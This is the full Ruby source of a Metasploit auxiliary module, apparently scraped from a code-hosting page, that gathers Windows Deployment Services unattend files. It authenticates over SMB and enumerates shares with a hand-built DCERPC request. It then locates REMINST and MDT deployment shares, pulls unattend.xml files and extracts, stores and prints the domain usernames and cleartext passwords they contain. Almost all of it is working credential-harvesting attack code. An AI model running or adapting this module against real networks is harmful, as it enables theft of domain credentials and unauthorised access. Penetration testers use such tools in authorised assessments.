256 lines
7.5 KiB
Ruby
256 lines
7.5 KiB
Ruby
#
|
|
# This module requires Metasploit: http://metasploit.com/download
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
##
|
|
|
|
require 'rex/proto/dcerpc'
|
|
require 'rex/parser/unattend'
|
|
|
|
class MetasploitModule < Msf::Auxiliary
|
|
|
|
include Msf::Exploit::Remote::SMB::Client
|
|
include Msf::Exploit::Remote::SMB::Client::Authenticated
|
|
include Msf::Exploit::Remote::DCERPC
|
|
|
|
include Msf::Auxiliary::Report
|
|
include Msf::Auxiliary::Scanner
|
|
|
|
def initialize(info = {})
|
|
super(update_info(info,
|
|
'Name' => 'Microsoft Windows Deployment Services Unattend Gatherer',
|
|
'Description' => %q{
|
|
This module will search remote file shares for unattended installation files that may contain
|
|
domain credentials. This is often used after discovering domain credentials with the
|
|
auxilliary/scanner/dcerpc/windows_deployment_services module or in cases where you already
|
|
have domain credentials. This module will connect to the RemInst share and any Microsoft
|
|
Deployment Toolkit shares indicated by the share name comments.
|
|
},
|
|
'Author' => [ 'Ben Campbell <eat_meatballs[at]hotmail.co.uk>' ],
|
|
'License' => MSF_LICENSE,
|
|
'References' =>
|
|
[
|
|
[ 'MSDN', 'http://technet.microsoft.com/en-us/library/cc749415(v=ws.10).aspx'],
|
|
[ 'URL', 'http://rewtdance.blogspot.co.uk/2012/11/windows-deployment-services-clear-text.html'],
|
|
],
|
|
))
|
|
|
|
register_options(
|
|
[
|
|
Opt::RPORT(445),
|
|
OptString.new('SMBDomain', [ false, "SMB Domain", '']),
|
|
])
|
|
|
|
deregister_options('RHOST', 'CHOST', 'CPORT', 'SSL', 'SSLVersion')
|
|
end
|
|
|
|
# Determine the type of share based on an ID type value
|
|
def share_type(val)
|
|
stypes = %W{ DISK PRINTER DEVICE IPC SPECIAL TEMPORARY }
|
|
stypes[val] || 'UNKNOWN'
|
|
end
|
|
|
|
|
|
# Stolen from enumshares - Tried refactoring into simple client, but the two methods need to go in EXPLOIT::SMB and EXPLOIT::DCERPC
|
|
# and then the lanman method calls the RPC method. Suggestions where to refactor to welcomed!
|
|
def srvsvc_netshareenum
|
|
shares = []
|
|
handle = dcerpc_handle('4b324fc8-1670-01d3-1278-5a47bf6ee188', '3.0', 'ncacn_np', ["\\srvsvc"])
|
|
|
|
begin
|
|
dcerpc_bind(handle)
|
|
rescue Rex::Proto::SMB::Exceptions::ErrorCode => e
|
|
print_error(e.message)
|
|
return
|
|
end
|
|
|
|
stubdata =
|
|
NDR.uwstring("\\\\#{rhost}") +
|
|
NDR.long(1) #level
|
|
|
|
ref_id = stubdata[0,4].unpack("V")[0]
|
|
ctr = [1, ref_id + 4 , 0, 0].pack("VVVV")
|
|
|
|
stubdata << ctr
|
|
stubdata << NDR.align(ctr)
|
|
stubdata << [0xffffffff].pack("V")
|
|
stubdata << [ref_id + 8, 0].pack("VV")
|
|
|
|
response = dcerpc.call(0x0f, stubdata)
|
|
|
|
# Additional error handling and validation needs to occur before
|
|
# this code can be moved into a mixin
|
|
|
|
res = response.dup
|
|
win_error = res.slice!(-4, 4).unpack("V")[0]
|
|
if win_error != 0
|
|
fail_with(Failure::UnexpectedReply, "#{rhost}:#{rport} Win_error = #{win_error.to_i}")
|
|
end
|
|
|
|
# Level, CTR header, Reference ID of CTR
|
|
res.slice!(0,12)
|
|
share_count = res.slice!(0, 4).unpack("V")[0]
|
|
|
|
# Reference ID of CTR1
|
|
res.slice!(0,4)
|
|
share_max_count = res.slice!(0, 4).unpack("V")[0]
|
|
|
|
if share_max_count != share_count
|
|
fail_with(Failure::UnexpectedReply, "#{rhost}:#{rport} share_max_count did not match share_count")
|
|
end
|
|
|
|
# ReferenceID / Type / ReferenceID of Comment
|
|
types = res.slice!(0, share_count * 12).scan(/.{12}/n).map{|a| a[4,2].unpack("v")[0]}
|
|
|
|
share_count.times do |t|
|
|
length, offset, max_length = res.slice!(0, 12).unpack("VVV")
|
|
|
|
if offset != 0
|
|
fail_with(Failure::UnexpectedReply, "#{rhost}:#{rport} share offset was not zero")
|
|
end
|
|
|
|
if length != max_length
|
|
fail_with(Failure::UnexpectedReply, "#{rhost}:#{rport} share name max length was not length")
|
|
end
|
|
|
|
name = res.slice!(0, 2 * length)
|
|
res.slice!(0,2) if length % 2 == 1 # pad
|
|
|
|
comment_length, comment_offset, comment_max_length = res.slice!(0, 12).unpack("VVV")
|
|
|
|
if comment_offset != 0
|
|
fail_with(Failure::UnexpectedReply, "#{rhost}:#{rport} share comment offset was not zero")
|
|
end
|
|
|
|
if comment_length != comment_max_length
|
|
fail_with(Failure::UnexpectedReply, "#{rhost}:#{rport} share comment max length was not length")
|
|
end
|
|
|
|
comment = res.slice!(0, 2 * comment_length)
|
|
res.slice!(0,2) if comment_length % 2 == 1 # pad
|
|
|
|
shares << [ name, share_type(types[t]), comment]
|
|
end
|
|
|
|
shares
|
|
end
|
|
|
|
def run_host(ip)
|
|
deploy_shares = []
|
|
|
|
begin
|
|
connect
|
|
smb_login
|
|
srvsvc_netshareenum.each do |share|
|
|
# Ghetto unicode to ascii conversation
|
|
share_name = share[0].unpack("v*").pack("C*").split("\x00").first
|
|
share_comm = share[2].unpack("v*").pack("C*").split("\x00").first
|
|
share_type = share[1]
|
|
|
|
if share_type == "DISK" && (share_name == "REMINST" || share_comm == "MDT Deployment Share")
|
|
vprint_good("Identified deployment share #{share_name} #{share_comm}")
|
|
deploy_shares << share_name
|
|
end
|
|
end
|
|
|
|
deploy_shares.each do |deploy_share|
|
|
query_share(deploy_share)
|
|
end
|
|
|
|
rescue ::Interrupt
|
|
raise $!
|
|
end
|
|
end
|
|
|
|
def query_share(share)
|
|
share_path = "\\\\#{rhost}\\#{share}"
|
|
vprint_status("Enumerating #{share}...")
|
|
|
|
begin
|
|
simple.connect(share_path)
|
|
rescue Rex::Proto::SMB::Exceptions::ErrorCode => e
|
|
print_error("Could not access share: #{share} - #{e}")
|
|
return
|
|
end
|
|
|
|
results = simple.client.file_search("\\", /unattend.xml$/i, 10)
|
|
|
|
results.each do |file_path|
|
|
file = simple.open(file_path, 'o').read()
|
|
next unless file
|
|
|
|
loot_unattend(file)
|
|
|
|
creds = parse_client_unattend(file)
|
|
creds.each do |cred|
|
|
next unless (cred && cred['username'] && cred['password'])
|
|
next unless cred['username'].to_s.length > 0
|
|
next unless cred['password'].to_s.length > 0
|
|
|
|
report_creds(cred['domain'].to_s, cred['username'], cred['password'])
|
|
print_good("Credentials: " +
|
|
"Path=#{share_path}#{file_path} " +
|
|
"Username=#{cred['domain'].to_s}\\#{cred['username'].to_s} " +
|
|
"Password=#{cred['password'].to_s}"
|
|
)
|
|
end
|
|
end
|
|
|
|
end
|
|
|
|
def report_cred(opts)
|
|
service_data = {
|
|
address: opts[:ip],
|
|
port: opts[:port],
|
|
service_name: opts[:service_name],
|
|
protocol: 'tcp',
|
|
workspace_id: myworkspace_id
|
|
}
|
|
|
|
credential_data = {
|
|
origin_type: :service,
|
|
module_fullname: fullname,
|
|
username: opts[:user],
|
|
private_data: opts[:password],
|
|
private_type: :password
|
|
}.merge(service_data)
|
|
|
|
login_data = {
|
|
core: create_credential(credential_data),
|
|
status: Metasploit::Model::Login::Status::UNTRIED,
|
|
proof: opts[:proof]
|
|
}.merge(service_data)
|
|
|
|
create_credential_login(login_data)
|
|
end
|
|
|
|
def parse_client_unattend(data)
|
|
|
|
begin
|
|
xml = REXML::Document.new(data)
|
|
rescue REXML::ParseException => e
|
|
print_error("Invalid XML format")
|
|
vprint_line(e.message)
|
|
end
|
|
Rex::Parser::Unattend.parse(xml).flatten
|
|
end
|
|
|
|
def loot_unattend(data)
|
|
return if data.empty?
|
|
path = store_loot('windows.unattend.raw', 'text/plain', rhost, data, "Windows Deployment Services")
|
|
print_status("Stored unattend.xml in #{path}")
|
|
end
|
|
|
|
def report_creds(domain, user, pass)
|
|
report_cred(
|
|
ip: rhost,
|
|
port: 445,
|
|
service_name: 'smb',
|
|
user: "#{domain}\\#{user}",
|
|
password: pass,
|
|
proof: domain
|
|
)
|
|
end
|
|
|
|
end
|
|
|